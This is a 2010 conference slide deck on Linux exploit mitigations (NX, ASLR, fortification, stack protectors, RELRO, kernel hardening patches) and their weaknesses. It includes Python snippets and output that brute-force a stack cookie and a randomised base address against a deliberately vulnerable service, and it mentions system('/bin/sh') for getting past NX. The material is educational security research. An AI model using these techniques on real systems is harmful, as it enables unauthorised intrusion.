Breaking Linux Security Protections

Andrew Griffiths – andrewg@felinemenace.org

felinemenace.org

November 20, 2010

Introduction

- Who am I?
- What will this talk cover?
- Prior knowledge

Non executable memory - Overview

- What is non executable memory?
- Different patches target different problems
- Prevents code execution on certain memory ranges
  - Some patches only protect stack memory
  - Some are able to do "per-page" protection
- Implementations differ if the processor supports non executable memory natively.

Non executable memory - Iterative development

- Heap
- C library
- ET_EXEC symbol / function
- Static vdso
- Return Orientated Programming

Non executable memory - Return Orientated Programming

- Isolates small chunks of code followed by a return
- Chains them together to execute arbitrary code
- Looks like a multi function ret2libc stack layout
- Preventative measures?
  - Unaligned pages
  - Randomized executables / libraries
  - Binary instrumentation / Processor support

Non executable memory - Current/Future

- Byte code - Just In Time

Address Space Layout Randomisation

- Address Space Layout Randomisation (ASLR) aims to change where various things are in memory.
  - Stack
  - Heap
  - Library addresses
  - Executable position

Address Space Layout Randomisation

- Different ASLR implementations have different goals
- Non-deterministic attacks increases attacker effort
- Memory leaks
- This works well when exploit attempts are single attempt only
- Effectiveness is reduced if process forks / automatically restarted

Address Space Layout Randomisation - Position Independent Executables

- Historically, executables have always been mapped at the same location (0x08048000)
- Position Independent Executables (ET_DYN) allows the executable code to be mapped randomly
- Increases security by making "ret2.text" attacks more difficult

Address Space Layout Randomisation - Ubuntu 10.04

```
00110000-00263000 libc-2.11.1.so
00263000-00264000 libc-2.11.1.so
00264000-00266000 libc-2.11.1.so
00266000-00267000 libc-2.11.1.so
00267000-0026a000
0064c000-0064d000 [vdso]
0095c000-00977000 /lib/ld-2.11.1.so
00977000-00978000 /lib/ld-2.11.1.so
00978000-00979000 /lib/ld-2.11.1.so
009c3000-009c4000 pietest
009c4000-009c5000 pietest
009c5000-009c6000 pietest
b77d3000-b77d4000
b77da000-b77dc000
bffe9000-bfffe000 [stack]
```

```
001f6000-001f7000 [vdso]
002be000-002bf000 pietest
002bf000-002c0000 pietest
002c0000-002c1000 pietest
004b9000-004d4000 /lib/ld-2.11.1.so
004d4000-004d5000 /lib/ld-2.11.1.so
004d5000-004d6000 /lib/ld-2.11.1.so
0066f000-007c2000 libc-2.11.1.so
007c2000-007c3000 libc-2.11.1.so
007c3000-007c5000 libc-2.11.1.so
007c5000-007c6000 libc-2.11.1.so
007c6000-007c9000
b7709000-b770a000
b7710000-b7712000
bfd98000-bfdad000 [stack]
```

Address Space Layout Randomisation - Heap exploits

- Heap implementations and advancements
- Separating Heap control structures and program data
- Heap reset, sprays and massaging
- Instrumenting C functions
- Easier to go after application specific structures

Address Space Layout Randomisation - Future

- Adapting long running programs to re-execute itself
  - As an example, OpenSSH now does that.
  - Some programs have always done it (such as Postfix)

Source code fortification

- GCC Compiler - __builtin_object_size()
- Instruments C function usage
- Inserts checks if applicable
- Format string prevention
- 75 functions instrumented on Ubuntu 10.04

Source code fortification - example

```
; char buf[64];
; strcpy(buf, argv[1]);

mov     0xc(%ebp),%eax
movl    $0x40,0x8(%esp)
mov     0x4(%eax),%eax
mov     %eax,0x4(%esp)
lea     0x1c(%esp),%eax
mov     %eax,(%esp)
call    8048388 <__strcpy_chk@plt>

; __strcpy_chk(buf, argv[1], 64);
; *** buffer overflow detected ***: ./test terminated
```

Stack Smashing Protection

- What is SSP?
- What does it to ?
  - Canary / cookie
  - Function stack rewriting
  - Argument "shadowing"

Stack Smashing Protection - Example Code

```
int ssp_example(char *string1, char *string2)
{
        char *string3 = string1;
        char buf[1024];
        strcpy(buf, string1);
        strcpy(string3, string2);
        exit(EXIT_FAILURE);
}
```

Stack Smashing Protection - Stack layout without SSP

Data size	Type	Name	Contents
4 bytes	Pointer	string2	String Pointer
4 bytes	Pointer	string1	String Pointer
4 bytes	Pointer	Saved EIP	EIP on return
4 bytes	Pointer	Saved EBP	EBP on return
4 bytes	Pointer	string3	String Pointer
1024 bytes	Buffer	buf	1024 char array

- Overflow happens from bottom to top.

Stack Smashing Protection - Stack layout with SSP

Data size	Type	Name	Contents
4 bytes	Pointer	Saved EIP	EIP on return
4 bytes	Pointer	Saved EBP	EBP on return
4 bytes	Integer	SSP Cookie	SSP Stack Cookie
1024 bytes	Buffer	buf	1024 char array
4 bytes	Pointer	string3	String Pointer
4 bytes	Pointer	string2	String Pointer
4 bytes	Pointer	string1	String Pointer

- Cookie added beneath Saved EBP
- Function arguments moved
- "buf" moved before Cookie
- Overwrite of cookie terminates the program

Stack Smashing Protection - Cookie

- *** stack smashing detected ***: ./test terminated
- There have been different types of cookies proposed and implemented
  - Terminator cookie
  - Random cookie
  - "Mixed" cookie

Stack Smashing Protection - Weaknesses

- So what weaknesses are there?
- Implementation problems
- Stack info leak
- Bruteforce (byte by byte)

SSP & ASLR & NX exploited

- Recapping from previous slides:
- SSP rewrites the stack arguments, and adds a cookie before saved EIP.
- ASLR makes exploitation more complicated by making attacks less deterministic
- Non executable memory aims to make attacks more difficult by preventing code from being injected into the process
- Let's have a look at how this works in practice against an ideal target

SSP & ASLR & NX exploited - The code

```
int is_password()
{
        unsigned char buf[256], *q;
        int r;

        q = "PASSWORD";

        read(cfd, &r, sizeof(int));
        read(cfd, buf, r);
        if(strncmp(buf, q, strlen(q)) == 0) {
                return 1;
        } else {
                return 0;
        }
}
```

SSP & ASLR & NX exploited - How it's used

```
if(is_password() == 0) {
        char *q;
        q = "Protocol Error";
        write(cfd, q, strlen(q));
        exit(EXIT_FAILURE);
}
exit(EXIT_FAILURE);
```

SSP & ASLR & NX exploited - Information

```
call    e9c <is_password> ; is at 0x135c
test    %eax,%eax ; is at 0x1361
```

If we attack this byte by byte:

- Determine the SSP cookie
- Determine where the binary is mapped in memory (We want to determine the ? in 0x00???361)

And how do we deal with NX memory?

- write() resolved GOT symbol/s
- dup2() / system("/bin/sh")

SSP & ASLR & NX exploited - SSP code

```
def ppp(data, do_sleep = False, debug=False):
  # create socket / send data / read response .. snipped
  r = s.recv(400)
  return r.find("Protocol") != -1

for i in range(0, 4):
  print "[*] Brute forcing cookie at %d" % (i)
  for j in range(0, 256):
    buf = ("y" * 256) + cb + struct.pack("<B", j)
    if(ppp(buf) == True):
      cb += struct.pack("<B", j)
      break

  print "[*] Cookie @ %d is %02x\n" % (i, j)
```

SSP & ASLR & NX exploited - SSP being broken

Restarting the service

```
[*] Brute forcing cookie at 0
[*] Cookie @ 0 is 00
[*] Brute forcing cookie at 1
[*] Cookie @ 1 is 31
[*] Brute forcing cookie at 2
[*] Cookie @ 2 is 15
[*] Brute forcing cookie at 3
[*] Cookie @ 3 is fb
```

```
[*] Brute forcing cookie at 0
[*] Cookie @ 0 is 00
[*] Brute forcing cookie at 1
[*] Cookie @ 1 is 3c
[*] Brute forcing cookie at 2
[*] Cookie @ 2 is 96
[*] Brute forcing cookie at 3
[*] Cookie @ 3 is 4f
```

- Ubuntu 10.04 seems to offer 24 bits of randomness for SSP.
- buf[buflen] = 0; // somewhat common programming error
- Reduced compatibility issues increases user uptake

```
buf = ("\xcc" * 256) + cb + (struct.pack("<L", 0xdeadbeef)
for i in range(0, 15):
  val = (i << 4) | 0x03
  byte = struct.pack("<B", val)

  sendbuf = buf + byte
  if(ppp(sendbuf) == True):
    print "[-] 0x00??%02x61 ?" % val

    for j in range(0, 256):
      mybuf = sendbuf + struct.pack("<B", j)
      if(ppp(mybuf) == True):
      print "[-] 0x00%02x%02x61" % (j, val)
```

Restarting the service

[-] 0x00??2361	[-] 0x00??3361
[-] 0x00962361	[-] 0x00553361
[-] 0x00??8361	[-] 0x00??3361
[-] 0x001b8361	[-] 0x00d63361

- Easy to brute force EIP in ideal circumstances
- Ideal target is common
- ... but becoming less common as time goes by.

SSP & ASLR & NX exploited - Non-ideal cases

- Complex functions
- Further code/data analysis
- Function pointers

Read only relocations & Bind now linking

- Read only relocations makes certain sections read only (funnily enough)
- Lazy linking: Resolve symbols if/when needed
- Bind now linking: Resolve all symbols when program is executed
- If using both, prevents exploits which modify GOT/etc to gain code execution

Built-in kernel security

- Lack of kernel self-protection
- SELinux / SMACK / TOMOYO / Apparmor
- min_mmap_addr
- Debugging options
  - Read-only .text
  - /dev/k?mem restrictions

SELinux Access Control Lists

- Reference policies are not very strict
  - FTP daemon can execute /bin/sh / python etc as root?
- Too strict policies tend to get SELinux disabled
- Reactive response
  - min_mmap_addr

Kernel patches - Openwall Kernel Patch

- First patch from 2000
- Implements non executable stack
- Miscellaneous hardening techniques
- Probably better off with PAE/NX bit

Kernel patches - PaX

- Non executable memory
- Reduces code injection avenues
    - No NX bit processors as well
- Memory randomisation
    - Code and data
    - Kernel stack
- Memory sanitization
- Kernel correctness
    - Kernel is executing kernel .text
    - Kernel is accessing kernel .data
    - Kernel is accessing userland via appropriate API

Kernel patches - Grsecurity

- Implements Role-based Mandatory Access Control Lists
- Implements additional restrictions
- Miscellaneous other hardening techniques
- Prevent information disclosure
- Extensive auditing options
- Easy to use and configure

Kernel patches - AppArmor

- Ubuntu / OpenSUSE
- Path based access control lists
- Network and capability restrictions
- Can perform in process restrictions
  - Embedded interpreters in HTTP daemons

Linux Distributions - Defaults matter!

- Kernel patches and configuration
- Userland patches and modifications

Linux Distributions

- Hardened Gentoo
- Ubuntu
- Fedora
- Debian

Things are looking better/worse ;-)

- https://wiki.ubuntu.com/SecurityTeam/Roadmap/KernelHardening
- Merging parts of PaX and grsecurity into mainline

Linux Distributions - Openwall Linux

- Mostly relies on source code auditing
- No compiler enhancements (SSP, PIE, RelRO, etc)
- Uses openwall kernel patch
- Fairly disappointing

Linux Distributions - Android Pthread

```
#define STACKBASE 0x10000000

static uint8_t * gStackBase = (uint8_t *)STACKBASE;

stack = mmap((void *)gStackBase, size,
         PROT_READ | PROT_WRITE,
         MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE,
         -1, 0);
```

Linux Distributions - uClibc linuxthreads code

```
map_addr = mmap(NULL, stacksize + guardsize,
                PROT_READ | PROT_WRITE | PROT_EXEC,
                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
```

- Stack size is two megabytes
- Stack spraying to fixed location
- Some kernels only randomize on that boundary
- Oh, and makes the stack executable!

Questions?